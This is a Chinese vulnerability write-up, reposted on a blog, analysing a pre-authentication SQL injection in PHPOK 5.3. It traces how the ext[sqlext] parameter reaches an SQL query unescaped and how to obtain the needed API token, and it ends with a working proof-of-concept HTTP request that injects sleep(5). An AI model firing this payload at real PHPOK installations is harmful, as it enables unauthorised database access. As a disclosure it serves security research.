某OK 5.3 最新版前台注入

2019-11-30 约 569 字 预计阅读 3 分钟

声明:本文 【某OK 5.3 最新版前台注入】 由作者 Passer6y 于 2019-11-30 08:55:29 首发 先知社区 曾经 浏览数 428 次

感谢 Passer6y 的辛苦付出!

PHPOK 5.3 最新版前台注入

最近继续跟了一下新版的phpok,结果撞洞了,这里分享一下思路

最新版下载地址:https://www.phpok.com/phpok.html

注入点分析

底层获取参数:$this->get()方法
framework/init.php#get

final public function get($id,$type="safe",$ext="")
{
    // PGC全局获取
    $val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
    if($val == ''){
        if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
            return 0;
        }else{
            return '';
        }
    }
    //判断内容是否有转义,所有未转义的数据都直接转义
    $addslashes = false;
    if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
        $addslashes = true;
    }
    if(!$addslashes){
        $val = $this->_addslashes($val);
    }
    return $this->format($val,$type,$ext);
}

跟进format函数:framework/init.php#format

final public function format($msg,$type="safe",$ext="")
{
    if($msg == ""){
        return '';
    }
    if(is_array($msg)){
        foreach($msg as $key=>$value){
            if(!is_numeric($key)){
                $key2 = $this->format($key);
                if($key2 == '' || in_array($key2,array('#','&','%'))){
                    unset($msg[$key]);
                    continue;
                }
            }
            $msg[$key] = $this->format($value,$type,$ext);
        }
        if($msg && count($msg)>0){
            return $msg;
        }
        return false;
    }
    if($type == 'html_js' || ($type == 'html' && $ext)){
        $msg = stripslashes($msg);
        if($this->app_id != 'admin'){
            $msg = $this->lib('string')->xss_clean($msg);
        }
        $msg = $this->lib('string')->clear_url($msg,$this->url);
        return addslashes($msg);
    }
    // 转义去除
    $msg = stripslashes($msg);
    //格式化处理内容
    switch ($type){
        case 'safe_text':
            $msg = strip_tags($msg);
            $msg = str_replace(array("\\","'",'"',"<",">"),'',$msg);
        break;
        case 'system':
            $msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
        break;
        case 'id':
            $msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
        break;
        case 'checkbox':
            $msg = strtolower($msg) == 'on' ? 1 : $this->format($msg,'safe');
        break;
        case 'int':
            $msg = intval($msg);
        break;
        case 'intval':
            $msg = intval($msg);
        break;
        case 'float':
            $msg = floatval($msg);
        break;
        case 'floatval':
            $msg = floatval($msg);
        break;
        case 'time':
            $msg = strtotime($msg);
        break;
        case 'html':
            $msg = $this->lib('string')->safe_html($msg,$this->url);
        break;
        case 'func':
            $msg = function_exists($ext) ? $ext($msg) : false;
        break;
        case 'text':
            $msg = strip_tags($msg);
        break;
        default:
            $msg = str_replace(array("\\","'",'"',"<",">"),array("&#92;","&#39;","&quot;","&lt;","&gt;"),$msg);
        break;
    }
    if($msg){
        $msg = addslashes($msg);
    }
    return $msg;
}

format默认为safe模式,也就是仅仅将\ " ' < >实体编码。

注入点:
framework/api/index_control.php#phpok_f

//...
$token = $this->get("token");
if(!$token){
    $this->json(P_Lang("接口数据异常"));
}
$this->lib('token')->keyid($this->site['api_code']);
$info = $this->lib('token')->decode($token);
if(!$info){
    $this->json(P_Lang('信息为空'));
}
$id = $info['id'];

// 176行
$ext = $this->get('ext');
if($ext && is_array($ext)){
    foreach($ext as $key=>$value){
        if(!$value){
            continue;
        }
        // sqlext变量转义取消
        if($key == 'sqlext' && $value){
            $value = str_replace(array('&#39;','&quot;','&apos;','&#34;'),array("'",'"',"'",'"'),$value);
        }
        $param[$key] = $value;
    }
}
// $id 从加密的token中来
//  拼接sqlext的值的函数只有_userlist、_arc_condition_single、_arc_condition
$list = $this->call->phpok($id,$param);

继续跟进phpok函数:framework/phpok_call.php#phpok

public function phpok($id,$rs="")
{
    // 76行
    $siteinfo = $this->model('site')->get_one($rs['site']);
    // 91行
    if(substr($id,0,1) != '_'){
    //$id 从token中来,为phpok表中identifier字段, $rs['site']可控为任意值
    $call_rs = $this->load_phpoklist($id,$rs['site']);
    }
    // 116行 
    $func = '_'.$call_rs['type_id'];
    // 131行 动态调用函数_xxxx
    return $this->$func($call_rs,$cache_id);
}

跟进load_phpoklist:framework/phpok_call.php#load_phpoklist

private function load_phpoklist($id,$siteid=0)
{
    $this->model('call')->site_id($siteid);
    if($this->_cache && $this->_cache[$id]){
        return $this->_cache[$id];
    }
    $this->_cache = $this->model('call')->all($siteid,'identifier');
    if($this->_cache && $this->_cache[$id]){
        return $this->_cache[$id];
    }
    return false;
}

这一段代码$this->model('call')->all($siteid,'identifier');实现的是查询phpok表where identifier=xxx的信息,接着在phpok()函数的131行进行动态调用其字段为type_id的值函数。

比如我们要调用framework/phpok_call.php下的_arclist函数,我们可以传入:
/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')

接着我们在framework/phpok_call.php寻找可触发sql的函数,从phpok表里我们可以看到其默认的type_id只有四个不同的值arclistarccatelistproject,而我们需要找到拼接sqlext变量的函数:
framework/phpok_call.php#_arclist

private function _arclist($rs,$cache_id='')
{
    // 254行
    $condition = $this->_arc_condition($rs,$flist,$project);
    // 带入注入数据
    $array['total'] = $this->model('list')->arc_count($project['module'],$condition);
}

跟进:framework/phpok_call.php#_arc_condition
直接拼接了sqlext

private function _arc_condition($rs,$fields='',$project='')
{
    // 623行
        if($rs['sqlext']){
        $condition .= " AND ".$rs['sqlext'];
    }

    // 671行
    return $condition;
}

接着将结果带入了:

$this->model('list')->arc_count($project['module'],$condition);

调用:framework/model/list.php#arc_count

5.jpg

拼接sql,调用$this->db->count($sql)
framework/engine/db/mysqli.php#count

public function count($sql="",$is_count=true)
{
    if($sql && is_string($sql) && $is_count){
        $this->set('type','num');
        $rs = $this->get_one($sql);
        $this->set('type','assoc');
        return $rs[0];
    }else{
        if($sql && is_string($sql)){
            $this->query($sql);
        }
        if($this->query){
            return mysqli_num_rows($this->query);
        }
    }
    return false;
}

根进get_one函数:framework/engine/db/mysqli.php#get_one

public function get_one($sql='')
    {
        if($sql){
            $false = $this->cache_false($sql);
            if($false){
                return false;
            }
            if($this->cache_get($sql)){
                return $this->cache_get($sql);
            }
            $this->query($sql);

根进$this->query($sql);:framework/engine/db/mysqli.php#query

最终将sql带入执行。

当然,到这里,其实还有一个问题没有解决,我们需要如果拿到token=加密('id=m_picplayer')
framework/api/index_control.php#token_f

public function token_f()
{
    $this->config('is_ajax',true);
    if(!$this->site['api_code']){
        $this->error(P_Lang("系统未配置接口功能"));
    }
    $id = $this->get('id','system');
    if(!$id){
        $this->error(P_Lang('未指定数据调用标识'));
    }
    $this->model('call')->site_id($this->site['id']);
    // 限制字段where identifier=$id
    $rs = $this->model('call')->get_one($id,'identifier');
    if(!$rs || !$rs['status']){
        $this->error(P_Lang('标识不存在或未启用'));
    }

  //141行
    $array = array('id'=>$id,'param'=>$param);
    $token = $this->lib('token')->encode($array);
    $this->success($token);
}

其中第一个if条件需要在后台生成api字符串:

没开启的话,其实构造一个csrf的poc也是可以的

第二个条件传入id=m_picplayer即可。

url:http://phpok5_3_147/api.php?c=index&f=token&id=m_picplayer

poc:

GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close

调用栈:

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now